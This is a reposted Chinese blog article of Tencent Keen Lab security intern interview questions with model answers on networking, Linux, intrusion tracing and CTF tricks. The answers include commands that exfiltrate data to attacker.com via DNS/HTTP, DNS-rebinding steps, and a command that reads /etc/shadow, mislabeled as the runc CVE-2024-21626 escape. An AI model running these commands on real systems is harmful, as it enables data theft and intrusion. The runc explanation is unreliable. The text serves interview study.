2025年滲透測試面試題總結-騰訊[實習]科恩實驗室-安全工程師(題目+回答)

安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。

目錄

?騰訊[實習]科恩實驗室-安全工程師

一、網絡與協議

1. TCP三次握手

2. SYN掃描原理

3. HTTPS證書機制

二、滲透測試實戰

1. 完整滲透流程(以代碼審計為例)

2. 高階滲透案例:DNS重綁定攻擊

三、Linux系統深度

1. 進程與線程對比

2. 特殊進程問題修復

3. 文件監控與調試

四、防御與溯源(護網核心)

1. 入侵痕跡檢測矩陣

2. 自動化溯源框架

五、漏洞攻防進階

1. DNS帶外數據泄露

2. Redis未授權利用加固

3. Runc容器逃逸(CVE-2024-21626)

六、機器學習與算法

1. 惡意樣本分類

2. 萊文斯坦距離實戰

七、CTF技巧精要

1. 子域名收集工具鏈

2. 文件下載漏洞利用

?騰訊[實習]科恩實驗室-安全工程師

## 一面 時長:一個半小時1. tcp三次握手2. 介紹一次滲透測試過程- 講了一次代碼審計3. SSRF漏洞4. 內網滲透大致流程5. 再介紹一次難度比較高的滲透測試6. 防守方有哪些入侵檢測手段,有哪些痕跡是可以抓到的?7. 介紹進程和線程8. 進程和線程內存空間的關系9. 父子進程的介紹10. 孤兒進程和僵尸進程- 這個我講反掉了11. kill一個進程的時候,都發生了那些事情,從父子進程角度講12. 反彈shell的幾種方式- 本質是用tcp協議傳輸bash程序13. att&ck矩陣的類別,介紹其中的CC14. 到域名下拿到命令執行的結果- 這部分沒聽清楚,面試的時候直接說了不知道,復盤聽錄音還是沒怎么聽清,但好像大概想問的是DNS域名解析獲取命令執行回顯15. Linux命令通配符16. 護網的溯源、威脅分析工作之類的問了十分鐘左右- 完全不會,以后簡歷上再也不寫護網了17. xx攻防演練中防守方有哪些手段,問的比較雜,主要就是問入侵痕跡檢測和溯源之類的東西- 這部分也不太會18. SVM、KNN介紹19. 卷積神經網絡介紹20. 萊文斯坦距離21. 搜索引擎算法- 不太了解,大概講了下字典樹22. 倒排索引23. 惡意樣本給出函數家族的md5,如何進行分類- 從統計規律講了下24. 反問##  二面 時長:半小時1. 第一個問題就直接問了護網,和一面問的差不多,直接裂開2. Linux開機自啟動方式3. init.d腳本介紹4. Linux怎么查看程序調用了哪些文件5. 如何監控Linux文件操作- 問到這里就已經非常慌了,Linux比較進階的操作都不是很會,而且面試官一直在嘆氣我日6. Linux有哪些系統調用- 不會7. GDB調試- 不會8. 查看Linux開放的網絡端口、多線程狀態9. 反彈shell的方式10. Linux下怎么隱藏文件11. 子域名收集12. DNS重綁定13. DNS解析的流程14. CC流量- 聽都沒聽過15. ssh隧道- 面試沒聽清楚,聽到隧道就以為是UDP穿越隧道開講了16. https證書機制介紹17. burpsuite一些使用方法,插件開發方法18. nmap的基本操作19. syn開放鏈接原理20. redis漏洞利用21. runc容器逃逸原理22. 常見WAF種類(不知道為什么還特別問了長亭的WAF)23. MySQL的UAF- 沒聽過24. 算法題(比較簡單,leetcode easy級別)25. Linux進程通信26. 反問

一、網絡與協議

1. TCP三次握手
mermaidsequenceDiagram Client->>Server: SYN=1, Seq=x Server-->>Client: SYN=1, ACK=1, Seq=y, Ack=x+1 Client->>Server: ACK=1, Seq=x+1, Ack=y+1 
  • 關鍵點:SYN洪水攻擊利用半連接耗盡資源,防御需啟用SYN Cookie
2. SYN掃描原理
bashnmap -sS 目標IP # 發送SYN不回應ACK,繞過基礎日志
  • 隱蔽性:不建立完整連接,被掃描主機僅見RST包
3. HTTPS證書機制
mermaidgraph LR A[客戶端請求] --> B[服務端發送證書] B --> C{客戶端驗證} C -->|有效| D[用證書公鑰加密會話密鑰] C -->|無效| E[終止連接]

二、滲透測試實戰

1. 完整滲透流程(以代碼審計為例)
mermaidgraph TB A[信息收集] --> B[白盒審計] B --> C[漏洞定位:SSRF/反序列化] C --> D[外帶數據:DNS泄露] D --> E[橫向移動:Redis未授權] E --> F[權限維持:systemd服務注入]
2. 高階滲透案例:DNS重綁定攻擊

場景:繞過SSRF防護

python# 攻擊步驟 1. 注冊域名:evil.com (TTL=0) 2. 首次解析返回內網IP(如172.16.0.1) 3. 二次解析返回127.0.0.1 4. 利用時間差訪問內部服務

三、Linux系統深度

1. 進程與線程對比
特性進程線程
內存隔離獨立地址空間共享進程內存
通信成本高(IPC機制)低(全局變量)
容錯性崩潰不影響其他進程線程崩潰導致進程終止
2. 特殊進程問題修復
bash# 僵尸進程清理 ps -ef | grep defunct # 定位僵尸PID kill -9 父進程ID # 強制回收資源 # 孤兒進程接管 systemctl status init # 確認init進程狀態 
3. 文件監控與調試

監控文件操作

bashinotifywait -m -r /etc # 實時監控目錄 auditctl -a exit,always -F dir=/var/log -F perm=wa # 審計日志篡改

GDB調試核心命令

bash(gdb) break *0x400520 # 內存斷點 (gdb) x/20x $rsp # 查看棧數據 (gdb) p system # 打印函數地址

四、防御與溯源(護網核心)

1. 入侵痕跡檢測矩陣
攻擊階段檢測手段工具鏈
初始訪問異常登錄地理定位CrowdStrike/Elastic
持久化開機自啟動項掃描Autoruns/Lynis
橫向移動內網ARP異常流量分析Zeek/Arkime
數據外傳DNS隧道特征檢測Fiddler/Sigma規則
2. 自動化溯源框架
mermaidgraph LR A[告警觸發] --> B{日志關聯} B -->|WAF日志| C[提取攻擊IP] B -->|系統日志| D[定位進程行為] C --> E[威脅情報查詢] D --> F[進程樹重建] E & F --> G[生成攻擊鏈報告]

五、漏洞攻防進階

1. DNS帶外數據泄露
bash# 外傳命令結果 curl http://$(whoami).attacker.com # HTTP泄露 dig `id | base64`.data.attacker.com # DNS泄露 
2. Redis未授權利用加固

防御方案

redisrequirepass Str0ngP@ss! # 強密碼認證 rename-command CONFIG "" # 禁用高危命令 bind 127.0.0.1 # 限制監聽地址 
3. Runc容器逃逸(CVE-2024-21626)

原理:工作目錄未隔離 → 掛載宿主機根目錄
利用

bashdocker run --rm -it -v /:/host alpine chroot /host && cat /etc/shadow

六、機器學習與算法

1. 惡意樣本分類

處理流程

mermaidgraph TB A[樣本集] --> B[提取API序列] B --> C[生成TF-IDF向量] C --> D[訓練SVM分類器] D --> E[混淆矩陣驗證]
2. 萊文斯坦距離實戰
pythondef levenshtein(s1, s2): if len(s1) < len(s2): return levenshtein(s2, s1) if len(s2) == 0: return len(s1) prev = range(len(s2) + 1) for i, c1 in enumerate(s1): curr = [i + 1] for j, c2 in enumerate(s2): curr.append(min(prev[j+1]+1, curr[j]+1, prev[j]+(c1!=c2))) prev = curr return prev[-1]

七、CTF技巧精要

1. 子域名收集工具鏈
bashsubfinder -d target.com -silent | httpx -status-code # 快速存活檢測 waybackurls target.com | grep -E '\.js$' | uniq # 歷史JS文件挖掘
2. 文件下載漏洞利用

關鍵路徑

textLinux: /proc/self/cwd/flag.txt # 進程工作目錄 Windows: C:\Windows\Panther\setup.log # 安裝日志

特別警示:護網面試重點考察 攻擊鏈重構能力防御體系設計思維,建議掌握以下實戰組合:

  • 溯源:ELK+威脅情報平臺(如微步在線)
  • 反制:高交互蜜罐(如HFish)
  • 加固:CIS基準掃描+自動化補丁管理

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/908612.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/908612.shtml
英文地址,請注明出處:http://en.pswp.cn/news/908612.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

人工智能賦能高中學科教學的應用與前景研究

一、引言 1.1 研究背景 在科技飛速發展的當下&#xff0c;人工智能&#xff08;Artificial Intelligence&#xff0c;簡稱 AI&#xff09;已成為全球矚目的關鍵技術領域&#xff0c;深刻地改變著人們的生活、工作和學習方式。從智能家居設備到智能交通系統&#xff0c;從醫療…

八、【ESP32開發全棧指南:UDP客戶端】

1. 環境準備 安裝ESP-IDF v4.4 (官方指南)確保Python 3.7 和Git已安裝 2. 創建項目 idf.py create-project udp_client cd udp_client3. 完整優化代碼 (main/main.c) #include <string.h> #include "freertos/FreeRTOS.h" #include "freertos/task.h&…

Android Studio 解決首次安裝時下載 Gradle 慢問題

1、問題描述 第一次安裝 Android Studio 時&#xff0c; 新建工程后&#xff0c;在編譯時會自動去下載 Gradle&#xff0c;但是一般都會下載失敗&#xff0c;提示鏈接超時&#xff1a; Could not install Gradle distribution from https://services.gradle.org/distributions…

hive聚合函數多行合并

在數據倉庫和大數據處理的場景中&#xff0c;Hive提供了強大的SQL查詢能力&#xff0c;其中包括聚合函數用于處理和合并多行數據。本文將深入探討Hive中的幾種常見聚合函數及其在多行合并中的應用。 一、Hive中的常見聚合函數 Hive提供了多種聚合函數&#xff0c;這些函數可以…

關于物聯網的基礎知識(一)

成長路上不孤單&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a; 【14后&#x1f60a;///計算機愛好者&#x1f60a;///持續分享所學&#x1f60a;///如有需要歡迎收藏轉發///&#x1f60a;】 今日分享關于物聯網的基礎知識&#xff08;一&a…

遷移科技3D視覺系統:重塑紙箱拆垛場景的智能革命

一、傳統拆垛場景的困局與破局之道 在汽車零部件倉庫中&#xff0c;每天有超過2萬只異形紙箱需要拆垛分揀。傳統人工拆垛面臨三大挑戰&#xff1a; 效率瓶頸&#xff1a;工人每小時僅能處理200-300件&#xff0c;且存在間歇性疲勞安全隱患&#xff1a;20kg以上重箱搬運導致年…

微軟重磅發布Magentic UI,交互式AI Agent助手實測!

微軟重磅發布Magentic UI,交互式AI Agent助手實測! 何為Magentic UI? Magentic UI 是微軟于5.19重磅發布的開源Agent助手,并于24日剛更新了第二個版本0.04版 從官方的介紹來看,目標是打造一款 以人為中心 的智能助手,其底層由多個不同的智能體系統驅動,能夠實現網頁瀏覽…

Python實現快速排序的三種經典寫法及算法解析

今天想熟悉一下python的基礎寫法&#xff0c;那就從最經典的快速排序來開始吧&#xff1a; 1、經典分治寫法&#xff08;原地排序&#xff09; 時間復雜度&#xff1a;平均O(nlogn)&#xff0c;最壞O(n) 空間復雜度&#xff1a;O(logn)遞歸棧空間 特點&#xff1a;通過左右指針…

海康網絡攝像頭實時取幀轉Opencv數組格式(h,w,3),已實現python、C#

海康攝像頭取幀都是有官方demo的&#xff0c;但是將海康格式的數據轉為Opencv格式的沒有相關demo&#xff0c;而大部分深度學習圖像檢測算法(如YOLO)&#xff0c;都是用opencv格式的圖像作為輸入&#xff0c;因此將海康格式數據轉為opencv格式兼容性更強 需要代碼請私信聯系&a…

職坐標IT教育物聯網全棧開發實戰:傳感器到云平臺全鏈路

物聯網全棧開發涉及從終端感知到云端服務的全流程技術整合&#xff0c;其核心在于構建完整的“端-管-云-用”技術鏈條。為幫助開發者系統掌握這一能力&#xff0c;課程圍繞四大模塊展開&#xff1a;傳感器數據采集與處理、通信協議適配與優化、云平臺架構設計及跨平臺應用開發。…

LUFFY(路飛): 使用DeepSeek指導Qwen強化學習

論文標題 Learning to Reason under Off-Policy Guidance 論文地址 https://arxiv.org/pdf/2504.14945 代碼地址 https://github.com/ElliottYan/LUFFY 作者背景 上海人工智能實驗室&#xff0c;西湖大學&#xff0c;南京大學&#xff0c;香港中文大學 動機 目前大模型…

Android Camera Hal中通過Neon指令優化數據拷貝

背景描述&#xff1a; Camera apk普通相機模式錄像操作時&#xff0c;一般是同時請求兩個流&#xff0c;即預覽流和錄像流。對于兩個流輸出圖像格式和分辨率相同的情況下&#xff0c;是不是可以通過一個流拷貝得到另一個流的數據&#xff0c;進而節省掉一個Sensor輸出處理兩次…

WPS word 已有多級列表序號

wps的word中&#xff0c;原來已生成的文檔里&#xff0c;已存在序號。比如&#xff0c;存在2、2.1、2.1.1、2.1.1.1、2.1.1.1.1 5層序號&#xff0c;而且已分為5級。但增加內容的時候&#xff0c;并不會自動增加序號&#xff0c;應該如何解決&#xff1f; 原來長這樣&#xff…

從零開始制作小程序簡單概述

以下是結合案例的“從零制作小紅書風格小程序”的全流程指南&#xff0c;采用小紅書爆款筆記的結構呈現&#xff0c;并附CSDN參考資源&#x1f447;&#xff1a; 一、核心開發步驟&#xff08;附工具推薦&#xff09; 賬號與定位 ? 注冊類型選擇&#xff1a;個人店&#xff08…

【Go語言基礎【13】】函數、閉包、方法

文章目錄 零、概述一、函數基礎1、函數基礎概念2、參數傳遞機制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 錯誤處理 二、函數類型與高階函數1. 函數類型定義2. 高階函數&#xff08;函數作為參數、返回值&#xff09; 三、匿名函數與閉包1. 匿名函數&#xff08;Lambda函…

網絡編程之服務器模型與UDP編程

一、服務器模型 在網絡通信中&#xff0c;通常要求一個服務器連接多個客戶端 為了處理多個客戶端的請求&#xff0c;通常有多種表現形式 1、循環服務器模型 一個服務器可以連接多個客戶端&#xff0c;但同一時間只能連接并處理一個客戶的請求 socket() 結構體 bind() listen() …

open3D:三維點云處理

open3d 點云數據處理 爆肝5萬字??Open3D 點云數據處理基礎&#xff08;Python版&#xff09;_python 點云 焊縫-CSDN博客 如何用NumPy讀取和保存點云數據 - 知乎 讀取并可視化點云 np.loadtxt 從txt中讀取點集&#xff0c;并open3d顯示單個點云 txt內容&#xff1a;每行皆…

使用聯邦多軌跡圖神經網絡(GNNs)結合稀缺數據預測嬰兒腦連接|文獻速遞-深度學習醫療AI最新文獻

Title 題目 Predicting infant brain connectivity with federated multi-trajectory GNNs using scarce data 使用聯邦多軌跡圖神經網絡&#xff08;GNNs&#xff09;結合稀缺數據預測嬰兒腦連接 01 文獻速遞介紹 多模態影像下的嬰兒腦連接演化預測&#xff1a;聯邦學習與…

[特殊字符] 深入理解 Linux 內核進程管理:架構、核心函數與調度機制

Linux 內核作為一個多任務操作系統&#xff0c;其進程管理子系統是核心組成部分之一。無論是用戶應用的運行、驅動行為的觸發&#xff0c;還是系統調度決策&#xff0c;幾乎所有操作都離不開進程的創建、調度與銷毀。本文將從進程的概念出發&#xff0c;深入探討 Linux 內核中進…

第16節 Node.js 文件系統

Node.js 提供一組類似 UNIX&#xff08;POSIX&#xff09;標準的文件操作API。 Node 導入文件系統模塊(fs)語法如下所示&#xff1a; var fs require("fs") 異步和同步 Node.js 文件系統&#xff08;fs 模塊&#xff09;模塊中的方法均有異步和同步版本&#xff…